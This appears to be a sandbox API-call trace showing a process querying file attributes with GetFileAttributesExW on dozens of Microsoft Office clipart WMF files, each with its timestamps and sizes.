	[0051.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f138 | out: lpFileInformation=0x1274f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8)) returned 1
	[0051.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f188 | out: lpFileInformation=0x1274f188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0)) returned 1
	[0051.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f1d8 | out: lpFileInformation=0x1274f1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8)) returned 1
	[0051.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f228 | out: lpFileInformation=0x1274f228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8)) returned 1
	[0051.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f278 | out: lpFileInformation=0x1274f278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410)) returned 1
	[0051.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f2c8 | out: lpFileInformation=0x1274f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f318 | out: lpFileInformation=0x1274f318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f368 | out: lpFileInformation=0x1274f368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f3b8 | out: lpFileInformation=0x1274f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f408 | out: lpFileInformation=0x1274f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f458 | out: lpFileInformation=0x1274f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f4a8 | out: lpFileInformation=0x1274f4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a)) returned 1
	[0051.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f4f8 | out: lpFileInformation=0x1274f4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe)) returned 1
	[0051.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f548 | out: lpFileInformation=0x1274f548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2)) returned 1
	[0051.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f598 | out: lpFileInformation=0x1274f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938)) returned 1
	[0051.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f5e8 | out: lpFileInformation=0x1274f5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958)) returned 1
	[0051.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f638 | out: lpFileInformation=0x1274f638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c)) returned 1
	[0051.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f688 | out: lpFileInformation=0x1274f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2)) returned 1
	[0051.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f6d8 | out: lpFileInformation=0x1274f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56)) returned 1
	[0051.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f728 | out: lpFileInformation=0x1274f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a)) returned 1
	[0051.534] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f778 | out: lpFileInformation=0x1274f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330)) returned 1
	[0051.534] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f7c8 | out: lpFileInformation=0x1274f7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee)) returned 1
	[0051.534] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f818 | out: lpFileInformation=0x1274f818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4)) returned 1
	[0051.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f868 | out: lpFileInformation=0x1274f868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4)) returned 1
	[0051.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f8b8 | out: lpFileInformation=0x1274f8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc)) returned 1
	[0051.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f908 | out: lpFileInformation=0x1274f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854)) returned 1
	[0051.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f958 | out: lpFileInformation=0x1274f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88)) returned 1
	[0051.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f9a8 | out: lpFileInformation=0x1274f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2)) returned 1
	[0051.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274f9f8 | out: lpFileInformation=0x1274f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e)) returned 1
	[0051.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fa48 | out: lpFileInformation=0x1274fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166)) returned 1
	[0051.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fa98 | out: lpFileInformation=0x1274fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700)) returned 1
	[0051.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fae8 | out: lpFileInformation=0x1274fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a)) returned 1
	[0051.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fb38 | out: lpFileInformation=0x1274fb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440)) returned 1
	[0051.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fb88 | out: lpFileInformation=0x1274fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c)) returned 1
	[0051.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fbd8 | out: lpFileInformation=0x1274fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e)) returned 1
	[0051.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fc28 | out: lpFileInformation=0x1274fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4)) returned 1
	[0051.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fc78 | out: lpFileInformation=0x1274fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550)) returned 1
	[0051.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fcc8 | out: lpFileInformation=0x1274fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4)) returned 1
	[0051.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fd68 | out: lpFileInformation=0x1274fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210)) returned 1
	[0051.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fdb8 | out: lpFileInformation=0x1274fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0)) returned 1
	[0051.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fe08 | out: lpFileInformation=0x1274fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898)) returned 1
